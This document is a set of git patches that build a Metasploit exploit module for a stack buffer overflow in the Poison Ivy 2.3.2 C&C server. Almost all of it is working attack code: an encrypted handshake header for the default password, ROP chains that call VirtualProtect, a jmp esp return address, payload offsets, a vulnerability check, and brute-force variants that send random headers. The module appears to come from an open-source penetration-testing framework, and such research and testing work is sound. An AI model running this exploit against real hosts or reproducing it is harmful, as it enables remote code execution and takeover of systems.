From 8bcc0ba4402605f49887594e5c8c7339807495d1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 3 Jul 2012 23:49:47 +0200 Subject: [PATCH 1/8] Review of pull request #559 --- .../exploits/windows/misc/poisonivy_bof.rb | 145 ++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100644 modules/exploits/windows/misc/poisonivy_bof.rb diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb new file mode 100644 index 0000000000..a8cdd902e7 --- /dev/null +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -0,0 +1,145 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow", + 'Description' => %q{ + This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. + The exploit does not need to know the password chosen for the bot/server comm. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrzej Dereszowski', # Vulnerability Discovery + 'Gal Badishi' # Exploit and Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ], + [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ] + ], + 'DisclosureDate' => "Jun 24 2012", + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Payload' => + { + 'StackAdjustment' => -4000, + 'Space' => 10000, + 'BadChars' => "", + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Poison Ivy 2.3.2', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(3460), + ], self.class) + end + + def check + sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" + lensig = [0x000015D0].pack("V") + + connect + sock.put("\x00" * 256) + response = sock.read(256) + datalen = sock.read(4) + disconnect + + if datalen == lensig + print_status("Password appears to be \"admin\"") if response[0, 16] == sig + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + + # This is the 32-byte header we want to send, encrypted with the default password ("admin") + # We have a very good chance of succeeding even if the password was changed + header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + + short_rop = [ + 0x0041F1E9, # 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn + 0x00401000, # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) + 0xFFFF8000, # edx. We'll add this number later to ebp (which will subtract 0x8000 from it). + 0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn + 0x00000000, # edi (ebp points here now) + 0x00000000, # esi + 0x00000000, # ebx + 0x00426799, # We need this to offset ebp: mov eax,edx # retn + 0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn + 0x00403A77, # mov esp,ebp # pop ebp # retn + ].pack("V*") + + long_rop = [ + 0x00000000, # New ebp + 0x0041F1E9, # Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn + 0x0000002C, # edx. We'll add this number later to ebp, to prevent looping. + 0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn + 0x00000001, # edi. We need it when we call VirtualProtect (ebp points here now) + 0x00000000, # esi + 0x00000000, # ebx + 0x00426799, # We need this to offset ebp: mov eax,edx # retn + 0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn + 0x004D82DE, # eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn + 0x004F196E, # push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8 + 0x00004000, # Size + 0x00000040, # New protect (0x40 = PAGE_EXECUTE_READWRITE) + 0x00401000, # Old protect (ptr) + 0x00000000, # esi + 0x00000000, # ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect. + 0x0041AA97, # jmp esp (also new ebp) + 0x00000000, # Discarded + 0x00000000, # Discarded + ].pack("V*") + + short_rop_pos = 0x806D + long_rop_pos = short_rop_pos - 0x7FF0 + + # Handshake + connect + print_status("Performing handshake...") + sock.put("\x00" * 256) + sock.get + + # Don't change the nulls, or it might not work + xploit = '' + xploit << header + xploit << "\x00" * (long_rop_pos - xploit.length) + xploit << long_rop + xploit << payload.encoded + xploit << "\x00" * (short_rop_pos - xploit.length) + xploit << short_rop + + # The disconnection triggers the exploit + print_status("Sending exploit...") + sock.put(xploit) + select(nil,nil,nil,5) + disconnect + + # Time to own the box + handler + end + +end + From da2105787d8c8261b2cd7b775fee1969948f5828 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 10:54:35 +0200 Subject: [PATCH 2/8] no rop versio of the exploit, metadata used, check and description fixed --- .../exploits/windows/misc/poisonivy_bof.rb | 63 +++++++++++++++++-- 1 file changed, 57 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index a8cdd902e7..156f803f99 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -18,6 +18,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server comm. + If the C&C is configured with the default "admin" password the exploit should + work fine. In case of the C&C configured with another password the exploit can + fail. Hopefully an exploit try won't crash the Poison Ivy C&C process, just the + thread responsible of handling the connection. }, 'License' => MSF_LICENSE, 'Author' => @@ -44,7 +48,15 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Poison Ivy 2.3.2', { } ], + [ 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" + 'RWAddress' => 0x00401000, + 'Offset' => 0x806D, + 'PayloadOffset' => 0x75, + 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp + } + ], ], 'DefaultTarget' => 0 )) @@ -66,12 +78,53 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if datalen == lensig - print_status("Password appears to be \"admin\"") if response[0, 16] == sig - return Exploit::CheckCode::Vulnerable + #print_status("Password appears to be \"admin\"") if response[0, 16] == sig + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end + def exploit + + # This is the 32-byte header we want to send, encrypted with the default password ("admin") + # We have a very good chance of succeeding even if the password was changed + header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + + # Handshake + connect + print_status("Performing handshake...") + sock.put("\x00" * 256) + sock.get + + # Don't change the nulls, or it might not work + xploit = '' + xploit << header + xploit << "\x00" * (target['PayloadOffset'] - xploit.length) + xploit << payload.encoded + xploit << "\x00" * (target['Offset'] - xploit.length) + xploit << [target.ret].pack("V") # ret to a jmp esp opcode + xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) + xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back) + + # The disconnection triggers the exploit + print_status("Sending exploit...") + sock.put(xploit) + select(nil,nil,nil,5) + disconnect + + # Time to own the box + handler + end + +end + +=begin + +* ROP version of exploit(): Has been discarded at the moment because of two reasons: + +(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process) +(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter + def exploit # This is the 32-byte header we want to send, encrypted with the default password ("admin") @@ -140,6 +193,4 @@ class Metasploit3 < Msf::Exploit::Remote # Time to own the box handler end - -end - +=end From c531bd264b8fbfdff23a044ee907e3af014421dc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 11:37:36 +0200 Subject: [PATCH 3/8] brute force version of the exploit --- .../exploits/windows/misc/poisonivy_bof.rb | 39 +++++++++++++++---- 1 file changed, 31 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 156f803f99..5cd88ce137 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, @@ -18,10 +19,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. The exploit does not need to know the password chosen for the bot/server comm. - If the C&C is configured with the default "admin" password the exploit should + If the C&C is configured with the default 'admin' password the exploit should work fine. In case of the C&C configured with another password the exploit can fail. Hopefully an exploit try won't crash the Poison Ivy C&C process, just the - thread responsible of handling the connection. + thread responsible of handling the connection. Because of this the exploit will + try to bruteforce a random valid header in case the default one for the password + 'admin' doesn't work. }, 'License' => MSF_LICENSE, 'Author' => @@ -54,7 +57,14 @@ class Metasploit3 < Msf::Exploit::Remote 'RWAddress' => 0x00401000, 'Offset' => 0x806D, 'PayloadOffset' => 0x75, - 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp + 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp + 'Bruteforce' => + { + 'Start' => { 'Try' => 1 }, + 'Stop' => { 'Try' => 5 }, + 'Step' => 1, + 'Delay' => 2 + } } ], ], @@ -65,10 +75,16 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(3460), ], self.class) + + register_advanced_options( + [ + OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]), + ], self.class) + end def check - sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" + #sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" lensig = [0x000015D0].pack("V") connect @@ -84,11 +100,18 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - def exploit + def brute_exploit(brute_target) - # This is the 32-byte header we want to send, encrypted with the default password ("admin") - # We have a very good chance of succeeding even if the password was changed - header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + if brute_target['Try'] == 1 + print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password") + # This is the 32-byte header we want to send, encrypted with the default password ("admin") + # We have a very good chance of succeeding even if the password was changed + header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + else + print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header") + # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password + header = rand_text(0x20) + end # Handshake connect From 7214a6c96957e4851a77775b84d731b94abd5244 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 12:16:30 +0200 Subject: [PATCH 4/8] check function updated --- modules/exploits/windows/misc/poisonivy_bof.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 5cd88ce137..d40003370a 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - #sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" + sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b" lensig = [0x000015D0].pack("V") connect @@ -94,8 +94,12 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if datalen == lensig - #print_status("Password appears to be \"admin\"") if response[0, 16] == sig - return Exploit::CheckCode::Appears + if response[0, 16] == sig + print_status("Password appears to be \"admin\"") + else + print_status("Unknown password - Header Bruteforce will be tried. Exploit can be launched again till success.") + end + return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end From 644d5029d5f8fcfb91f64348f1c1b7eb52637340 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 13:02:47 +0200 Subject: [PATCH 5/8] add bruteforce target as optional --- .../exploits/windows/misc/poisonivy_bof.rb | 36 +++++++++++++------ 1 file changed, 26 insertions(+), 10 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index d40003370a..f6b21e40de 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -21,10 +21,13 @@ class Metasploit3 < Msf::Exploit::Remote The exploit does not need to know the password chosen for the bot/server comm. If the C&C is configured with the default 'admin' password the exploit should work fine. In case of the C&C configured with another password the exploit can - fail. Hopefully an exploit try won't crash the Poison Ivy C&C process, just the - thread responsible of handling the connection. Because of this the exploit will - try to bruteforce a random valid header in case the default one for the password - 'admin' doesn't work. + fail. + + Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread + responsible of handling the connection. Because of this the module provides a + Bruteforce target. When selected a random header will be sent in case the default + for the password 'admin' doesn't work. Bruteforce will stop after 5 tries or a + session obtained. }, 'License' => MSF_LICENSE, 'Author' => @@ -51,7 +54,16 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1', + [ 'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1', + { + 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" + 'RWAddress' => 0x00401000, + 'Offset' => 0x806D, + 'PayloadOffset' => 0x75, + 'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp + } + ], + [ 'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1', { 'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe" 'RWAddress' => 0x00401000, @@ -97,15 +109,19 @@ class Metasploit3 < Msf::Exploit::Remote if response[0, 16] == sig print_status("Password appears to be \"admin\"") else - print_status("Unknown password - Header Bruteforce will be tried. Exploit can be launched again till success.") + print_status("Unknown password - Bruteforce target can be tried and exploit launched until success.") end return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end - def brute_exploit(brute_target) + def single_exploit + header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + do_exploit(header) + end + def brute_exploit(brute_target) if brute_target['Try'] == 1 print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password") # This is the 32-byte header we want to send, encrypted with the default password ("admin") @@ -116,7 +132,10 @@ class Metasploit3 < Msf::Exploit::Remote # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password header = rand_text(0x20) end + do_exploit(header) + end + def do_exploit(header) # Handshake connect print_status("Performing handshake...") @@ -138,9 +157,6 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(xploit) select(nil,nil,nil,5) disconnect - - # Time to own the box - handler end end From d8a5af7084a7c5bbee52cb056bc66f2bac2dee74 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 15:25:12 +0200 Subject: [PATCH 6/8] last changes done by gal, added RANDHEADER to single_exploit --- modules/exploits/windows/misc/poisonivy_bof.rb | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index f6b21e40de..5f97d9ff85 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -86,6 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(3460), + OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false]) ], self.class) register_advanced_options( @@ -109,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote if response[0, 16] == sig print_status("Password appears to be \"admin\"") else - print_status("Unknown password - Bruteforce target can be tried and exploit launched until success.") + print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.") end return Exploit::CheckCode::Vulnerable end @@ -117,7 +118,14 @@ class Metasploit3 < Msf::Exploit::Remote end def single_exploit - header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + if datastore['RANDHEADER'] == true + # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password + header = rand_text(0x20) + else + # This is the 32-byte header we want to send, encrypted with the default password ("admin") + # We have a very good chance of succeeding even if the password was changed + header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" + end do_exploit(header) end From 8bdf3b56f597d223f8e468b4cc6aca0987b35271 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 4 Jul 2012 15:48:32 +0200 Subject: [PATCH 7/8] tries updated --- modules/exploits/windows/misc/poisonivy_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index 5f97d9ff85..e6f801dcf9 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Bruteforce' => { 'Start' => { 'Try' => 1 }, - 'Stop' => { 'Try' => 5 }, + 'Stop' => { 'Try' => 6 }, 'Step' => 1, 'Delay' => 2 } From ff4a0bc3aa9a0b34e4ebfc9ed2d9229689f1c0a8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 5 Jul 2012 00:18:13 +0200 Subject: [PATCH 8/8] poisonivy_bof description updated --- .../exploits/windows/misc/poisonivy_bof.rb | 89 +++---------------- 1 file changed, 12 insertions(+), 77 deletions(-) diff --git a/modules/exploits/windows/misc/poisonivy_bof.rb b/modules/exploits/windows/misc/poisonivy_bof.rb index e6f801dcf9..40ec6f54be 100644 --- a/modules/exploits/windows/misc/poisonivy_bof.rb +++ b/modules/exploits/windows/misc/poisonivy_bof.rb @@ -18,22 +18,25 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server. - The exploit does not need to know the password chosen for the bot/server comm. - If the C&C is configured with the default 'admin' password the exploit should - work fine. In case of the C&C configured with another password the exploit can - fail. + The exploit does not need to know the password chosen for the bot/server + communication. If the C&C is configured with the default 'admin' password, + the exploit should work fine. In case of the C&C configured with another + password the exploit can fail. The 'check' command can be used to determine + if the C&C target is using the default 'admin' password. Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread - responsible of handling the connection. Because of this the module provides a - Bruteforce target. When selected a random header will be sent in case the default - for the password 'admin' doesn't work. Bruteforce will stop after 5 tries or a - session obtained. + responsible of handling the connection. Because of this the module provides the + RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header + will be used. If the bruteforce target is selected, a random header will be sent in + case the default for the password 'admin' doesn't work. Bruteforce will stop after + 5 tries or a session obtained. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrzej Dereszowski', # Vulnerability Discovery - 'Gal Badishi' # Exploit and Metasploit module + 'Gal Badishi', # Exploit and Metasploit module + 'juan vazquez' # Testing and little of Metasploit-fu ], 'References' => [ @@ -176,72 +179,4 @@ end (1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process) (2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter - def exploit - - # This is the 32-byte header we want to send, encrypted with the default password ("admin") - # We have a very good chance of succeeding even if the password was changed - header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7" - - short_rop = [ - 0x0041F1E9, # 1st jump - will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn - 0x00401000, # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword) - 0xFFFF8000, # edx. We'll add this number later to ebp (which will subtract 0x8000 from it). - 0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn - 0x00000000, # edi (ebp points here now) - 0x00000000, # esi - 0x00000000, # ebx - 0x00426799, # We need this to offset ebp: mov eax,edx # retn - 0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn - 0x00403A77, # mov esp,ebp # pop ebp # retn - ].pack("V*") - - long_rop = [ - 0x00000000, # New ebp - 0x0041F1E9, # Will put esp (8 bytes from here) into ecx: push esp # and al,4 # pop ecx # pop edx # retn - 0x0000002C, # edx. We'll add this number later to ebp, to prevent looping. - 0x0042F63A, # Will put esp into ebp: push esp # pop ebp # pop edi # pop esi # pop ebx # retn - 0x00000001, # edi. We need it when we call VirtualProtect (ebp points here now) - 0x00000000, # esi - 0x00000000, # ebx - 0x00426799, # We need this to offset ebp: mov eax,edx # retn - 0x0041F337, # Subtract 0x8000 from ebp: add ebp,eax # retn - 0x004D82DE, # eax will now point 8 bytes from the beginning of the bigger ROP chain: mov eax,ecx # retn - 0x004F196E, # push eax (address) and call VirtualProtect, then add ebx, 0x28 # mov edi, 0x46FAC1 # pop esi # pop ebx # mov esp, ebp # pop ebp # ret 8 - 0x00004000, # Size - 0x00000040, # New protect (0x40 = PAGE_EXECUTE_READWRITE) - 0x00401000, # Old protect (ptr) - 0x00000000, # esi - 0x00000000, # ebx. ebp will point here after the offset, meaning that esp will point here after VirtualProtect. - 0x0041AA97, # jmp esp (also new ebp) - 0x00000000, # Discarded - 0x00000000, # Discarded - ].pack("V*") - - short_rop_pos = 0x806D - long_rop_pos = short_rop_pos - 0x7FF0 - - # Handshake - connect - print_status("Performing handshake...") - sock.put("\x00" * 256) - sock.get - - # Don't change the nulls, or it might not work - xploit = '' - xploit << header - xploit << "\x00" * (long_rop_pos - xploit.length) - xploit << long_rop - xploit << payload.encoded - xploit << "\x00" * (short_rop_pos - xploit.length) - xploit << short_rop - - # The disconnection triggers the exploit - print_status("Sending exploit...") - sock.put(xploit) - select(nil,nil,nil,5) - disconnect - - # Time to own the box - handler - end =end